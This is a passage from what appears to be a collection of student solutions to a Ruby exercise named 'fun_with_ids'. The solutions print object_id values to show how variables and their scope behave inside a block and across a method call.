#{d_outer_id} before the block.\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n \n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before before the block.\"\n puts\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n puts\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a outer inside after reassignment is #{a_outer} with and id of: #{a_outer_id} before and : #{a_outer.object_id} after.\"\n puts \"b outer inside after reassignment is #{b_outer} with and id of: #{b_outer_id} before and : #{b_outer.object_id} after.\"\n puts \"c outer inside after reassignment is #{c_outer} with and id of: #{c_outer_id} before and : #{c_outer.object_id} after.\"\n puts \"d outer inside after reassignment is #{d_outer} with and id of: #{d_outer_id} before and : #{d_outer.object_id} after.\"\n puts\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with and an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with and an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with and an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with and an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n puts\n end\n\n puts \"a_outer is #{a_outer} with and id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with and id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with and id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with and id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n puts\n\n puts \"a_inner is #{a_inner} with and id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\n puts \"b_inner is #{b_inner} with and id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\n puts \"c_inner is #{c_inner} with and id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\n puts \"d_inner is #{d_inner} with and id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # returns 85\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id # returns 85\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n # => \"a_outer is 42 with an id of: 85 before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n # => \"a_outer is 42 with an id of: 85 BEFORE and: 85 AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n # outputs \"ugh ohhhhh\", due to error from the scope of a_inner and a_inner.object_id variables being within the times method\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # 1\n b_outer_id = b_outer.object_id # 2\n c_outer_id = c_outer.object_id # 3\n d_outer_id = d_outer.object_id # 1\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\" # 42 1\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\" # 'forty two' 2\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\" # [42] 3\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\" # 42 1\n puts\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\" # 42 1\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\" # 'forty two' 2\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\" # [42] 3\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\" # 42 1\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n # a, b, c, d have unique ids\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n # The ids will remain the same as before\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\\n\\n\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n # ids of a, b, and d will change\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n # a, b, c, d will be the same\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n # a, b, c, d have changed but anything defined inside the block is lost out here\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # 1\n b_outer_id = b_outer.object_id # 2\n c_outer_id = c_outer.object_id # 3\n d_outer_id = d_outer.object_id # 1\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n puts\n\n 1.times do\n\n # a block can access local variables in the outer scope.\n\n a_outer_inner_id = a_outer.object_id # 1\n b_outer_inner_id = b_outer.object_id # 2\n c_outer_inner_id = c_outer.object_id # 3\n d_outer_inner_id = d_outer.object_id # 1\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n puts\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\" # 22 5\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\" # 'thrity three' 6\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\" # [44] 7\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\" # 44 8\n puts\n\n a_inner = a_outer # 22\n b_inner = b_outer # 'thirty three'\n c_inner = c_outer # [44]\n d_inner = c_inner[0] # 44\n\n a_inner_id = a_inner.object_id # 5\n b_inner_id = b_inner.object_id # 6\n c_inner_id = c_inner.object_id # 7\n d_inner_id = d_inner.object_id # 8\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n puts\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\" # 22 1 5\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\" # 'thirty three' 2 6\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\" # [44] 3 7\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\" # 44 1 8\n puts\n\n # a_inner is a block local variable not visible outside the block\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n puts\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n \n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before before the block.\"\n puts\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts \"b_inner is #{b_inner} with an id of #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts \"c_inner is #{c_inner} with an id of #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts \"d_inner is #{d_inner} with an id of #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts\nend", "def fun_with_ids\n a_outer = 42 # This is an int - 42\n b_outer = \"forty two\" # String\n c_outer = [42] # array\n d_outer = c_outer[0] # This is 42 - int\n\n # Looking these up in irb\n a_outer_id = a_outer.object_id # 85\n b_outer_id = b_outer.object_id # This changes but is long 70317477480160\n c_outer_id = c_outer.object_id # Also changes but long\n d_outer_id = d_outer.object_id # 85\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id # 85\n b_outer_inner_id = b_outer.object_id # long no\n c_outer_inner_id = c_outer.object_id # long no\n d_outer_inner_id = d_outer.object_id # 85\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer.object_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer.object_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer.object_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer.object_id} inside the block.\\n\\n\"\n\n a_outer = 22 # 45\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0] # 89\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is 